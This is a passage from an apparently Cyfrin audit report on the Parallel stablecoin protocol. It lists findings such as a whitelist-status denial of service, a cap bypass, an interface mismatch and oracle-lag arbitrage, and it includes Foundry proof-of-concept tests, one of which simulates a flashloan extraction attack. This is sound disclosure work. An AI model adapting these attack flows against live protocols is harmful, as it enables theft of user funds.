Description: Until Parallel protocol added `setWhitelistStatus` the only way to change the `whitelistStatus` in the `isWhitelistedForType` mapping was to use `SettersGuardian::toggleWhitelist`.

It is clear from this code that the only "reachable" values values are `0` and `1`, since the value starts initialised at `0` and `1 - 0 == 1` and `1 - 1 == 0`.

However `setWhitelistStatus` actually allows values in the range 2 - 255. If a governor were to call it with any of these values this leads to a DOS on any function that indirectly calls `LibWhitelist::checkWhitelist`

The root causes are marked lines in `LibSetters::setWhitelistStatus`.

```
    if (whitelistStatus == 1) {
    ...
    } else {
        // If whitelist is revoked, clear the whitelist data
@>      collatInfo.whitelistData = "";
    }
@>  collatInfo.onlyWhitelisted = whitelistStatus;
```

If called with `whitelistStatus > 1` then `collatInfo.whitelistData` is set to empty bytes and `collatInfo.onlyWhitelisted > 1` after execution.

If we later call a function that indirectly calls `_redeem` or `_swap` then the following following statement is executed

```
if (collatInfo.onlyWhitelisted > 0 && !LibWhitelist.checkWhitelist(collatInfo.whitelistData, to)) {
    revert NotWhitelisted();
}
```

Since `collatInfo.onlyWhitelisted > 1` we now call `LibWhitelist.checkWhitelist`

Unfortunately this will revert on the first line in the `abi.decode`

```
function checkWhitelist(bytes memory whitelistData, address sender) internal returns (bool) {
@>  (WhitelistType whitelistType, bytes memory data) = abi.decode(whitelistData, (WhitelistType,
↪  bytes));
```

Impact: The protocol will be DOSed for any swaps or redeems. The impact is low since governance can just call it again with `whitelistStatus == 0` and the chance of making this mistake in the first place is low.

However, if `SettersGovernor::setAccessManager` were called with an `AccessManager` that were configured to impose delays the DOS could be more serious. See LibDiamond::checkCanCall and the `delay > 0` branch.

Proof of Concept: In `tests/units/parallel-protocolWhitelistStatusDos.t.sol` we have

- test_parallel-protocol_WhitelistStatusTwo_DOSesBurnSwapExactInput which tests
- test_parallel-protocol_WhitelistStatusTwo_DOS_RequiresDelayToUndo which shows delays can make the DOS more serious. It lasts as long as the `delay` set for the `GOVERNOR_ROLE`.

```
// SPDX-License-Identifier: BUSL-1.1

pragma solidity 0.8.28;

import "contracts/parallelizer/Storage.sol";
import "contracts/utils/Constants.sol";
import { ISettersGovernor } from "contracts/interfaces/ISetters.sol";
import { MockChainlinkOracle } from "tests/mock/MockChainlinkOracle.sol";
import { Fixture } from "../Fixture.sol";

contract CyfrinWhitelistStatusDos is Fixture {
  function _refreshOracles() internal {
    // The oracle configs use a 1-hour stale period. We warp a full day to model the delay,
    // so we must refresh all collateral oracles or burns will revert with InvalidChainlinkRate.
    MockChainlinkOracle(address(oracleA)).setLatestAnswer(int256(BASE_8));
    MockChainlinkOracle(address(oracleB)).setLatestAnswer(int256(BASE_8));
    MockChainlinkOracle(address(oracleY)).setLatestAnswer(int256(BASE_8));
  }

  function test_cyfrin_WhitelistStatusTwo_DOSesBurnSwapExactInput() public {
    uint256 amountIn = 100 * BASE_6;

    vm.startPrank(alice);
    deal(address(eurA), alice, amountIn);
    eurA.approve(address(parallelizer), type(uint256).max);
    uint256 minted = parallelizer.swapExactInput(
      amountIn, 0, address(eurA), address(tokenP), alice, block.timestamp + 1
    );
    tokenP.approve(address(parallelizer), type(uint256).max);
    vm.stopPrank();

    uint256 snap = vm.snapshotState();
    vm.startPrank(alice);
    parallelizer.swapExactInput(minted, 0, address(tokenP), address(eurA), alice, block.timestamp + 1);
    vm.stopPrank();
    vm.revertToState(snap);

    bytes memory whitelistData = abi.encode(WhitelistType.BACKED, bytes(""));
    hoax(governor);
    parallelizer.setWhitelistStatus(address(eurA), 2, whitelistData);

    vm.startPrank(alice);
    vm.expectRevert();
    parallelizer.swapExactInput(minted, 0, address(tokenP), address(eurA), alice, type(uint256).max);
    vm.stopPrank();
  }
```

```
  function test_cyfrin_WhitelistStatusTwo_DOS_RequiresDelayToUndo() public {
    uint256 amountIn = 100 * BASE_6;

    vm.startPrank(alice);
    deal(address(eurA), alice, amountIn);
    eurA.approve(address(parallelizer), type(uint256).max);
    uint256 minted = parallelizer.swapExactInput(
      amountIn, 0, address(eurA), address(tokenP), alice, block.timestamp + 1
    );
    tokenP.approve(address(parallelizer), type(uint256).max);
    vm.stopPrank();

    // Set a 1-day delay for governor actions.
    vm.startPrank(governor);
    accessManager.grantRole(GOVERNOR_ROLE, governor, 86400);
    vm.stopPrank();
    (,, uint32 pendingDelay, uint48 effect) = accessManager.getAccess(GOVERNOR_ROLE, governor);
    if (pendingDelay > 0 && effect > block.timestamp) {
      vm.warp(effect);
    }
    (, uint32 currentDelay,,) = accessManager.getAccess(GOVERNOR_ROLE, governor);

    bytes memory whitelistData = abi.encode(WhitelistType.BACKED, bytes(""));
    bytes memory setToTwo =
      abi.encodeCall(ISettersGovernor.setWhitelistStatus, (address(eurA), uint8(2), whitelistData));

    vm.startPrank(governor);
    accessManager.schedule(address(parallelizer), setToTwo, 0);
    // Must wait the delay before executing the scheduled op.
    vm.warp(block.timestamp + currentDelay);
    accessManager.execute(address(parallelizer), setToTwo);
    vm.stopPrank();

    _refreshOracles();
    vm.startPrank(alice);
    vm.expectRevert();
    parallelizer.swapExactInput(minted, 0, address(tokenP), address(eurA), alice, type(uint256).max);
    vm.stopPrank();

    bytes memory clearWhitelist =
      abi.encodeCall(ISettersGovernor.setWhitelistStatus, (address(eurA), uint8(0), bytes("")));

    vm.startPrank(governor);
    accessManager.schedule(address(parallelizer), clearWhitelist, 0);
    // Cannot execute immediately; must wait the delay.
    vm.expectRevert();
    accessManager.execute(address(parallelizer), clearWhitelist);
    vm.warp(block.timestamp + currentDelay);
    accessManager.execute(address(parallelizer), clearWhitelist);
    vm.stopPrank();

    _refreshOracles();
    vm.startPrank(alice);
    parallelizer.swapExactInput(minted, 0, address(tokenP), address(eurA), alice, type(uint256).max);
    vm.stopPrank();
  }
}
```

Recommended Mitigation: Add a check at the beginning of `LibSetters::setWhitelistStatus`

```
  function setWhitelistStatus(address collateral, uint8 whitelistStatus, bytes memory whitelistData)
  ↪  internal {
```

```
+   if (whitelistStatus > 1) revert InvalidWhitelistStatus();
    Collateral storage collatInfo = s.transmuterStorage().collaterals[collateral];
    if (collatInfo.decimals == 0) revert NotCollateral();
```

Parallel: Fixed in commit 3010a17.

Cyfrin: Verified. Implemented recommended mitigation.

7.3.7 `IBridgeableTokenP::swapLzTokenToPrincipalToken` interface declares a `uint256` return value but `BridgeableTokenP::swapLzTokenToPrincipalToken` returns nothing, breaking external integrations

Description: The `IBridgeableTokenP` interface declares `swapLzTokenToPrincipalToken` as returning `uint256`:

```
function swapLzTokenToPrincipalToken(address _to, uint256 _amount) external returns(uint256);
```

However, the actual implementation in `BridgeableTokenP::swapLzTokenToPrincipalToken` has no return value:

```
function swapLzTokenToPrincipalToken(address _to, uint256 _amount) external nonReentrant whenNotPaused {
```

Any external contract calling `swapLzTokenToPrincipalToken` through the `IBridgeableTokenP` interface will have its ABI decoder attempt to decode a `uint256` from the return data. Since the implementation returns nothing, the decoder will revert.

Impact: External contracts and protocols integrating with `BridgeableTokenP` through the `IBridgeableTokenP` interface will have their calls revert. Direct calls (not through the interface) are unaffected.

Proof of Concept:

1. An external contract holds a reference: `IBridgeableTokenP bridge = IBridgeableTokenP(bridgeAddress);`
2. It calls `uint256 minted = bridge.swapLzTokenToPrincipalToken(user, amount);`
3. The function executes successfully internally, but returns no data
4. The ABI decoder on the caller side expects 32 bytes of return data, finds 0 bytes, and reverts

Recommended Mitigation: Either add a return value to the implementation to match the interface:

```
function swapLzTokenToPrincipalToken(address _to, uint256 _amount) external nonReentrant whenNotPaused
↪  returns (uint256) {
    // ... existing logic ...
    return principalTokenAmountCredited;
}
```

Or remove the return type from the interface:

```
function swapLzTokenToPrincipalToken(address _to, uint256 _amount) external;
```

Parallel: Fixed in commit 68faa40.

Cyfrin: Verified. `BridgeableTokenP::swapLzTokenToPrincipalToken` now returns the amount of `principalToken` actually minted.

7.3.8 `collatInfo.stablecoinCap` hardcap can be bypassed via `SettersGovernor::adjustStablecoins`

Description: The `stablecoinCap` parameter in the `Collateral` struct is intended to cap the maximum amount of normalized stablecoins (`normalizedStables`) that a single collateral asset can back. This limit is correctly enforced during normal user mint operations in the `Swapper` facet.

However, the Governor can call `SettersGovernor::adjustStablecoins` to arbitrarily **increase** `normalizedStables` **without any check** against `stablecoinCap`. This creates a direct bypass of the hardcap mechanism, allowing the system to enter a state where a collateral backs more stablecoins than its configured limit.

Proof of Concept: Missing cap validation in the increase path of `LibSetters::adjustStablecoins`:

```
// `LibSetters::adjustStablecoins`
if (increase) {
    newCollateralNormalizedStable += uint216(normalizedAmount);
    newNormalizedStables += uint216(normalizedAmount);
    // Missing:
    // if (newCollateralNormalizedStable * ts.normalizer / BASE_27 > collatInfo.stablecoinCap) revert
    ↪  AboveCap();
}
```

Recommended Mitigation: Add cap enforcement in the increase path:

```
// In LibSetters.adjustStablecoins
if (increase) {
    newCollateralNormalizedStable += uint216(normalizedAmount);
    newNormalizedStables += uint216(normalizedAmount);

+   if (newCollateralNormalizedStable * ts.normalizer / BASE_27 > collatInfo.stablecoinCap) {
+       revert AboveCap();
+   }
}
```

Parallel Fixed in commit 7df01b8 && commit f41738d

Cyfrin: Verified. Implemented a check to validate that `stablecoinCap` is not bypassed.

7.3.9 Deploy script `UpdateParallelizer.ts` does not handle facet removal case

Description: When upgrading the script finds all the selectors that should be *added* (`FaceCutAction.Add`) or *replaced* (`Replace`) but the case for `Remove` is missing. This could lead to deleted selectors being present after an upgrade. This would mean that users could still call these endpoints and have them `delegatecall` to the old implementation, which may not be what was intended.

Impact: The impact depends entirely on what selectors would not be removed.

Parallel: Fixed in commit c340795.

Cyfrin: Verified. `UpdateParallelizer.ts` now accounts for the case when removing selectors from the old facet.

7.3.10 `BridgeableTokenP::getMaxDebitableAmount` doesn't account for isolate mode, returning inflated values

Description: When isolate mode is on, `BridgeableTokenP::_debit` enforces that `creditDebitBalance` stays `>= 0` after debiting:

```
if (isIsolateMode) {
    if (creditDebitBalance < 0) revert ErrorsLib.IsolateModeLimitReach();
}
```

This effectively caps the max debit at the current `creditDebitBalance`. But `BridgeableTokenP::getMaxDebitableAmount` doesn't factor this in — it only considers the global and daily limits:

```
function getMaxDebitableAmount() external view returns (uint256) {
    if (isIsolateMode && creditDebitBalance < 0) return 0;
    if (creditDebitBalance <= globalDebitLimit) return 0;
    uint256 globalMax = MathLib.abs(globalDebitLimit - creditDebitBalance);
    ...
    return MathLib.min(globalMax, dailyMax);
}
```

So the view can report, say, 500 as the max debitable when in practice only 50 can go through before isolate mode reverts.

There's also a minor off-by-one in the early return: the guard checks `creditDebitBalance < 0` instead of `<= 0`. When the balance is exactly 0, the function doesn't bail out early and returns a non-zero value, even though any debit at that point would revert.

Impact: Any user or integrating contract that relies on this view to build transactions will show an incorrect max. Transactions built on top of this will revert, wasting gas.

Proof of Concept: Assume `isIsolateMode = true`, `creditDebitBalance = 50`, `globalDebitLimit = -1000`, `dailyDebitLimit = 500`, no daily usage yet.

1. A user calls `getMaxDebitableAmount()` — it computes `globalMax = 1050`, `dailyMax = 500`, returns `500`
2. User submits a debit of 51 tokens trusting the view output
3. Inside `_debit`, balance goes to `50 - 51 = -1`
4. Isolate mode check catches it and reverts with `IsolateModeLimitReach`

The real cap here is 50, not 500.

Recommended Mitigation: Two changes: fix the `< 0` guard to `<= 0`, and cap the result by `creditDebitBalance` when in isolate mode:

```
function getMaxDebitableAmount() external view returns (uint256) {
    if (isIsolateMode && creditDebitBalance <= 0) return 0;
    if (creditDebitBalance <= globalDebitLimit) return 0;
    uint256 globalMax = MathLib.abs(globalDebitLimit - creditDebitBalance);
    uint256 currentDebitAmount = dailyDebitAmount[_getCurrentDay()];
    uint256 dailyMax = dailyDebitLimit > currentDebitAmount
        ? dailyDebitLimit - currentDebitAmount
        : 0;
    uint256 result = MathLib.min(globalMax, dailyMax);
    if (isIsolateMode) return MathLib.min(result, uint256(creditDebitBalance));
    return result;
}
```

Parallel: Fixed in commit 6735f32.

Cyfrin: Verified. Remediated by implementing the recommended mitigation, `BridgeableTokenP::getMaxDebitableAmount` now correctly caps the limits when `isolateMode` is enabled.

7.4 Informational

7.4.1 Protocol susceptible to imperfect oracles with prices higher than market price during depeg

Description: The protocol is carefully designed to ensure solvency assuming oracles are perfect and timely. However, during a depeg of one of the collateral assets, if the market price is lower than the oracle price an attacker can make a profit. Assume that the Parallel token is backed by eurA, eurB and eurY and eurY depegs.

If the market price of eurY is lower (e.g. 0.95) than the oracle price of eurY (0.99) and a eurY-eurA pool exists an attacker can:

- flashloan an amount of eurA
- swap for eurY on a secondary eurA-eurY market at the lower price (0.95)
- mint PRL using eurY but at the (higher = 0.99) oracle price
- burn PRL for eurA collateral. Because eurY has depegged attacker only gets 0.99 eurA per PRL.
- Repay the flashloan + fees

The attacker now has a small profit in eurA. Also, once the oracle price converges to the market value (0.95) the PRL token will be under-collateralized.

Proof of Concept:

```
forge test --mt test_cyfrin_FlashloanCollateralMispricingAttack_WhenOracleLagsMarket
```

- tests/units/parallel-protocolBankRunOracleLagAttack.t.sol

```
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.28;

import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { console } from "@forge-std/console.sol";

import { MockChainlinkOracle } from "tests/mock/MockChainlinkOracle.sol";
import { Fixture } from "../Fixture.sol";
import { DecimalString } from "../utils/DecimalString.sol";
import "contracts/utils/Constants.sol";

contract CyfrinBankRunOracleLagAttackTest is Fixture {
  using DecimalString for uint256;

  uint256 internal constant MARKET_PRICE_EURA = BASE_18;
  uint256 internal constant MARKET_PRICE_EURB = BASE_18;
  uint256 internal constant MARKET_PRICE_EURY = 95e16; // 0.95
  // Assumed slippage for the external EUR_A -> EUR_Y purchase leg in basis points.
  uint256 internal constant EURA_TO_EURY_SLIPPAGE_BPS = 30; // 0.30%
  uint256 internal constant FLASHLOAN_FEE_BPS = 9; // 0.09%

  function setUp() public override {
    super.setUp();
    _setZeroFeesOnAllCollaterals();

    // Seed protocol reserves at par prices.
    _mintExactInput(governor, address(eurA), 1_000_000 * BASE_6, 0);
    _mintExactInput(guardian, address(eurB), 1_000_000 * BASE_12, 0);
    _mintExactInput(governorAndGuardian, address(eurY), 1_000_000 * BASE_18, 0);
  }

  /// @notice Demonstrates that if market EUR_Y trades below oracle EUR_Y, an attacker can
  /// flashloan EUR_A, buy discounted EUR_Y (with realistic swap slippage), mint PRL at stale oracle
  ↪  value,
  /// burn PRL for EUR_A, and keep a spread while worsening real collateralization.
  function test_cyfrin_FlashloanCollateralMispricingAttack_WhenOracleLagsMarket() public {
```

```
  console.log("Step 0: Start from a protocol seeded with balanced reserves and zero protocol fees.");
  console.log("Step 1: Create oracle lag: EUR_Y oracle=0.99 while market EUR_Y=0.95.");
  // Oracle still reports 0.99 while real market is 0.95.
  // No PRL market discount is needed in this setup.
  MockChainlinkOracle(address(oracleY)).setLatestAnswer(int256(99e6));

  uint256 attackerProfitEurA;
  // Repeated flashloan rounds:
  // flashloan EUR_A value -> buy discounted EUR_Y -> mint PRL at oracle value -> burn PRL for EUR_A.
  for (uint256 i; i < 3; ++i) {
    console.log(string.concat("Step 2.", _toStepString(i + 1), ": Run one flashloan arbitrage
    ↪  round."));
    attackerProfitEurA += _runFlashloanRound(200_000 * BASE_18);
  }
  console.log("Step 3: Compare oracle-implied collateralization vs real mark-to-market
  ↪  collateralization.");

  uint256 issued = tokenP.totalSupply();
  uint256 realCollateralValue = _realCollateralValue18();
  uint256 shortfall = issued > realCollateralValue ? issued - realCollateralValue : 0;

  (uint64 oracleCollatRatio,) = parallelizer.getCollateralRatio();
  uint256 oracleCollateralValue = (issued * uint256(oracleCollatRatio)) / BASE_9;
  uint256 oracleShortfall = issued > oracleCollateralValue ? issued - oracleCollateralValue : 0;

  console.log(
    string.concat(
      "Attacker cumulative profit from collateral mispricing (eurA): ",
      attackerProfitEurA.formatFixed()
    )
  );
  console.log("Oracle collateral ratio (1e9):", uint256(oracleCollatRatio));
  console.log(string.concat("Oracle-implied shortfall: ", oracleShortfall.formatFixed()));
  console.log(string.concat("Issued PRL: ", issued.formatFixed()));
  console.log(string.concat("Real collateral value marked to market: ",
  ↪  realCollateralValue.formatFixed()));
  console.log(string.concat("Under-collateralization shortfall: ", shortfall.formatFixed()));

  assertGt(attackerProfitEurA, 0, "Expected positive profit from oracle-vs-market collateral
  ↪  mismatch");
  // Oracle view underestimates stress compared to true market marking.
  assertGt(shortfall, 0, "Expected real under-collateralization after draining good collateral");
  assertGt(shortfall, oracleShortfall, "Expected real shortfall to exceed oracle-implied shortfall");
}

/// @notice Demonstrates an "over-heal" path: after extraction during oracle>market mismatch,
/// if market price later recovers to 1.00, the protocol can move from shortfall to surplus.
function test_cyfrin_OverHeal_WhenMarketRecoversToOneAfterMismatchExtraction() public {
  console.log("Step 0: Start from balanced reserves and zero protocol fees.");
  console.log("Step 1: Stress regime: EUR_Y oracle=0.99 while market EUR_Y=0.95.");
  MockChainlinkOracle(address(oracleY)).setLatestAnswer(int256(99e6));

  uint256 attackerProfitEurA;
  for (uint256 i; i < 3; ++i) {
    console.log(string.concat("Step 2.", _toStepString(i + 1), ": Execute extraction round during
    ↪  stress."));
    attackerProfitEurA += _runFlashloanRound(200_000 * BASE_18);
  }

  uint256 issued = tokenP.totalSupply();
  uint256 stressedValue = _realCollateralValue18AtYMarketPrice(MARKET_PRICE_EURY);
  uint256 stressedShortfall = issued > stressedValue ? issued - stressedValue : 0;
  uint256 stressedSurplus = stressedValue > issued ? stressedValue - issued : 0;
```

```
  console.log("Step 3: Mark protocol to stressed market (EUR_Y=0.95).");
  console.log(string.concat("Issued PRL: ", issued.formatFixed()));
  console.log(string.concat("Stressed real collateral value: ", stressedValue.formatFixed()));
  console.log(string.concat("Stressed shortfall: ", stressedShortfall.formatFixed()));
  console.log(string.concat("Stressed surplus: ", stressedSurplus.formatFixed()));

  uint256 recoveredYMarketPrice = BASE_18; // 1.00
  uint256 recoveredValue = _realCollateralValue18AtYMarketPrice(recoveredYMarketPrice);
  uint256 recoveredShortfall = issued > recoveredValue ? issued - recoveredValue : 0;
  uint256 recoveredSurplus = recoveredValue > issued ? recoveredValue - issued : 0;
  console.log("Step 4: Recovery regime: market and oracle converge to EUR_Y=1.00.");
  console.log(string.concat("Recovered real collateral value: ", recoveredValue.formatFixed()));
  console.log(string.concat("Recovered shortfall: ", recoveredShortfall.formatFixed()));
  console.log(string.concat("Recovered surplus (over-heal): ", recoveredSurplus.formatFixed()));
  console.log(string.concat("Attacker cumulative profit (EUR_A): ",
  ↪  attackerProfitEurA.formatFixed()));

  assertGt(attackerProfitEurA, 0, "Expected extraction profit during mismatch");
  assertGt(stressedShortfall, 0, "Expected shortfall while market remains below oracle");
  assertEq(recoveredShortfall, 0, "Expected shortfall to disappear after full recovery");
  assertGt(recoveredSurplus, 0, "Expected over-heal surplus after full recovery");
}

function _runFlashloanRound(uint256 flashPrincipalValue18) internal returns (uint256 profitEurA18) {
  console.log(
    string.concat("  - Flashloan notional EUR_A: ", flashPrincipalValue18.formatFixed())
  );
  // "Buy" cheap EUR_Y on the market with flashloaned EUR_A notional:
  // amountY = principal / (marketPrice(EUR_Y) * (1 + slippage)).
  uint256 amountY =
    (flashPrincipalValue18 * BASE_18 * 10_000) / (MARKET_PRICE_EURY * (10_000 +
    ↪  EURA_TO_EURY_SLIPPAGE_BPS));
  console.log(string.concat("  - Buy EUR_Y on market (with slippage), amountY: ",
  ↪  amountY.formatFixed()));

  // Simulate acquired EUR_Y inventory.
  deal(address(eurY), alice, amountY);

  vm.startPrank(alice);
  eurY.approve(address(parallelizer), type(uint256).max);

  uint256 minted = parallelizer.swapExactInput(
    amountY,
    0,
    address(eurY),
    address(tokenP),
    alice,
    block.timestamp + 1 hours
  );
  console.log(string.concat("  - Mint PRL using EUR_Y oracle valuation, minted: ",
  ↪  minted.formatFixed()));

  uint256 receivedEurA = parallelizer.swapExactInput(
    minted,
    0,
    address(tokenP),
    address(eurA),
    alice,
    block.timestamp + 1 hours
  );
  console.log(
    string.concat(
      "  - Burn PRL for EUR_A collateral, received EUR_A: ",
```

```
      _convertTokenTo18Decimals(receivedEurA, IERC20Metadata(address(eurA)).decimals()).formatFixed()
    )
  );
  vm.stopPrank();

  uint256 principalEurA6 = _convert18ToTokenDecimals(flashPrincipalValue18,
  ↪  IERC20Metadata(address(eurA)).decimals());
  uint256 repaymentEurA6 = principalEurA6 + (principalEurA6 * FLASHLOAN_FEE_BPS) / 10_000;
  uint256 repaymentEurA18 = _convertTokenTo18Decimals(repaymentEurA6,
  ↪  IERC20Metadata(address(eurA)).decimals());
  uint256 receivedEurA18 = _convertTokenTo18Decimals(receivedEurA,
  ↪  IERC20Metadata(address(eurA)).decimals());
  console.log(string.concat("  - Repay flashloan+fee in EUR_A: ", repaymentEurA18.formatFixed()));
  if (receivedEurA18 > repaymentEurA18) {
    console.log(string.concat("  - Round profit in EUR_A: ", (receivedEurA18 -
    ↪  repaymentEurA18).formatFixed()));
    return receivedEurA18 - repaymentEurA18;
  }
  console.log("  - Round profit in EUR_A: 0.000000");
  return 0;
}

function _toStepString(uint256 stepIndex) internal pure returns (string memory) {
  if (stepIndex == 1) return "a";
  if (stepIndex == 2) return "b";
  if (stepIndex == 3) return "c";
  return "";
}

function _setZeroFeesOnAllCollaterals() internal {
  uint64[] memory xMintFee = new uint64[](1);
  xMintFee[0] = uint64(0);
  uint64[] memory xBurnFee = new uint64[](1);
  xBurnFee[0] = uint64(BASE_9);
  int64[] memory yFee = new int64[](1);
  yFee[0] = 0;

  vm.startPrank(guardian);
  parallelizer.setFees(address(eurA), xMintFee, yFee, true);
  parallelizer.setFees(address(eurA), xBurnFee, yFee, false);
  parallelizer.setFees(address(eurB), xMintFee, yFee, true);
  parallelizer.setFees(address(eurB), xBurnFee, yFee, false);
  parallelizer.setFees(address(eurY), xMintFee, yFee, true);
  parallelizer.setFees(address(eurY), xBurnFee, yFee, false);
  vm.stopPrank();
}

function _realCollateralValue18() internal view returns (uint256) {
  return _realCollateralValue18AtYMarketPrice(MARKET_PRICE_EURY);
}

function _realCollateralValue18AtYMarketPrice(uint256 yMarketPrice18) internal view returns (uint256)
↪  {
  uint256 valueA = (
    _convertTokenTo18Decimals(IERC20Metadata(address(eurA)).balanceOf(address(parallelizer)),
    ↪  IERC20Metadata(address(eurA)).decimals())
      * MARKET_PRICE_EURA
  ) / BASE_18;
  uint256 valueB = (
    _convertTokenTo18Decimals(IERC20Metadata(address(eurB)).balanceOf(address(parallelizer)),
    ↪  IERC20Metadata(address(eurB)).decimals())
      * MARKET_PRICE_EURB
  ) / BASE_18;
```

```
    uint256 valueY = (
      _convertTokenTo18Decimals(IERC20Metadata(address(eurY)).balanceOf(address(parallelizer)),
      ↪  IERC20Metadata(address(eurY)).decimals())
        * yMarketPrice18
    ) / BASE_18;
    return valueA + valueB + valueY;
  }

  function _convertTokenTo18Decimals(uint256 amount, uint8 decimals) internal pure returns (uint256) {
    if (decimals == 18) return amount;
    if (decimals < 18) return amount * (10 ** (18 - decimals));
    return amount / (10 ** (decimals - 18));
  }

  function _convert18ToTokenDecimals(uint256 amount, uint8 decimals) internal pure returns (uint256) {
    if (decimals == 18) return amount;
    if (decimals < 18) return amount / (10 ** (18 - decimals));
    return amount * (10 ** (decimals - 18));
  }
}
```

- tests/utils/DecimalString.sol

```
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.28;

import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";

/// @title DecimalString
/// @notice Utility helpers for formatting fixed-point numbers in test logs.
library DecimalString {
  /// @notice Formats a fixed-point `value` with a default `decimals` of 18.
  function formatFixed(uint256 value) internal pure returns (string memory) {
    return formatFixed(value, 18);
  }

  /// @notice Formats a fixed-point `value` into a decimal string with a period.
  /// @dev Example: `formatFixed(1234567890000000000, 18)` -> "1.2345670000000000"
  function formatFixed(uint256 value, uint8 decimals) internal pure returns (string memory) {
    uint256 base = 10 ** decimals;
    uint256 integerPart = value / base;
    uint256 fractionalPart = value % base;
    string memory integerWithCommas = _withThousandsSeparators(Strings.toString(integerPart));

    return string.concat(
      integerWithCommas,
      ".",
      _padLeftWithZeros(Strings.toString(fractionalPart), decimals)
    );
  }

  function _padLeftWithZeros(string memory value, uint8 targetLength) private pure returns (string
  ↪  memory) {
    bytes memory src = bytes(value);
    uint256 srcLen = src.length;
    if (srcLen >= targetLength) {
      return value;
    }
    bytes memory out = new bytes(targetLength);
    uint256 pad = uint256(targetLength) - srcLen;
    for (uint256 i; i < pad; ++i) {
      out[i] = bytes1("0");
    }
```

```
    for (uint256 i; i < srcLen; ++i) {
      out[pad + i] = src[i];
    }
    return string(out);
  }

  function _withThousandsSeparators(string memory value) private pure returns (string memory) {
    bytes memory src = bytes(value);
    uint256 srcLen = src.length;
    if (srcLen <= 3) {
      return value;
    }

    uint256 commas = (srcLen - 1) / 3;
    bytes memory out = new bytes(srcLen + commas);
    uint256 i = srcLen;
    uint256 j = out.length;
    uint256 groupCount;

    while (i > 0) {
      out[--j] = src[--i];
      groupCount++;
      if (groupCount == 3 && i > 0) {
        out[--j] = bytes1(",");
        groupCount = 0;
      }
    }
    return string(out);
  }
}
```

Paralllel: Acknowledged.

Cyfrin: Issue has been added as an operational note on the executive summary.

7.4.2 `LibHelpers.convertDecimalsTo` favours the user on a exact-out mint and burn for certain collateral decimals

Description: Function `convertToDecimals` favours user on the exact-out mint path of `Swapper::swap`. It always rounds down when converting from higher decimals to lower decimals

```
function _quoteMintExactOutput(
...
@@> amountIn = LibHelpers.convertDecimalTo((amountIn * BASE_18) / oracleValue, 18, collatInfo.decimals);
```

For the exact-out burn path it is collaterals with decimals higher than 18 that get a small discount. Here

```
function _quoteBurnExactOutput(
...
@@> amountIn = Math.mulDiv(LibHelpers.convertDecimalTo(amountOut, collatInfo.decimals, 18),
↪  oracleValue, ratio);
```

Impact: The rounding error of a mint with low decimals violates the maxim "rounding should always favour the protocol".

In this case it gives a negligible advantage to the user and no way to exploit this in a meaningful way has been found.

However, the addition of extra features to the codebase may allow exploitation in the future.

Proof of Concept: See tests `test_cyfrin_[mint/burn]ExactOutput_[low/high]Decimals_userFavorableRounding` in tests/units/parallel-protocolSwapperDecimalRounding.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { console2 } from "@forge-std/console2.sol";
import { AggregatorV3Interface } from
↪  "contracts/interfaces/external/chainlink/AggregatorV3Interface.sol";
import "contracts/utils/Constants.sol";
import "contracts/parallelizer/Storage.sol";

import "../Fixture.sol";
import { MockChainlinkOracle } from "../mock/MockChainlinkOracle.sol";
import { MockTokenPermit } from "../mock/MockTokenPermit.sol";
import { DecimalString } from "../utils/DecimalString.sol";

contract CyfrinSwapperDecimalRoundingTest is Fixture {
  using DecimalString for uint256;

  IERC20 internal eurZ;
  AggregatorV3Interface internal oracleZ;

  function setUp() public override {
    super.setUp();

    // Normalize oracles to 1.0 (8 decimals) to isolate rounding from price effects.
    MockChainlinkOracle(address(oracleA)).setLatestAnswer(100_000_000);
    MockChainlinkOracle(address(oracleY)).setLatestAnswer(100_000_000);

    // Zero mint/burn fees on both collaterals so the only nonlinearity is decimal rounding.
    uint64[] memory xFeeMint = new uint64[](1);
    int64[] memory yFeeMint = new int64[](1);
    xFeeMint[0] = 0;
    yFeeMint[0] = 0;
    uint64[] memory xFeeBurn = new uint64[](1);
    int64[] memory yFeeBurn = new int64[](1);
    xFeeBurn[0] = uint64(BASE_9);
    yFeeBurn[0] = 0;

    vm.startPrank(guardian);
    parallelizer.setFees(address(eurA), xFeeMint, yFeeMint, true);
    parallelizer.setFees(address(eurA), xFeeBurn, yFeeBurn, false);
    parallelizer.setFees(address(eurY), xFeeMint, yFeeMint, true);
    parallelizer.setFees(address(eurY), xFeeBurn, yFeeBurn, false);
    vm.stopPrank();

    // Add a 27-decimal collateral for the exact input test.
    eurZ = IERC20(address(new MockTokenPermit("EUR_Z", "EUR_Z", 27)));
    oracleZ = AggregatorV3Interface(address(new MockChainlinkOracle()));
    MockChainlinkOracle(address(oracleZ)).setLatestAnswer(100_000_000);

    vm.startPrank(governor);
    parallelizer.addCollateral(address(eurZ));
    _setOracleStable(address(eurZ), address(oracleZ));
    vm.stopPrank();

    vm.startPrank(guardian);
    parallelizer.setFees(address(eurZ), xFeeMint, yFeeMint, true);
    parallelizer.setFees(address(eurZ), xFeeBurn, yFeeBurn, false);
    parallelizer.setStablecoinCap(address(eurZ), type(uint256).max);
    parallelizer.togglePause(address(eurZ), ActionType.Mint);
    parallelizer.togglePause(address(eurZ), ActionType.Burn);
```

```
  vm.stopPrank();
}

function _setOracleStable(address collateral, address oracle) internal {
  AggregatorV3Interface[] memory circuitChainlink = new AggregatorV3Interface[](1);
  uint32[] memory stalePeriods = new uint32[](1);
  uint8[] memory circuitChainIsMultiplied = new uint8[](1);
  uint8[] memory chainlinkDecimals = new uint8[](1);
  circuitChainlink[0] = AggregatorV3Interface(oracle);
  stalePeriods[0] = 1 hours;
  circuitChainIsMultiplied[0] = 1;
  chainlinkDecimals[0] = 8;
  OracleQuoteType quoteType = OracleQuoteType.UNIT;
  bytes memory readData =
    abi.encode(circuitChainlink, stalePeriods, circuitChainIsMultiplied, chainlinkDecimals,
    ↪  quoteType);
  bytes memory targetData;
  parallelizer.setOracle(
    collateral,
    abi.encode(
      OracleReadType.CHAINLINK_FEEDS, OracleReadType.STABLE, readData, targetData,
      ↪  abi.encode(uint128(0), uint128(0))
    )
  );
}

function _mintExactOutputAndGetSpent(address tokenIn, address owner, uint256 amountOut)
  internal
  returns (uint256 spent)
{
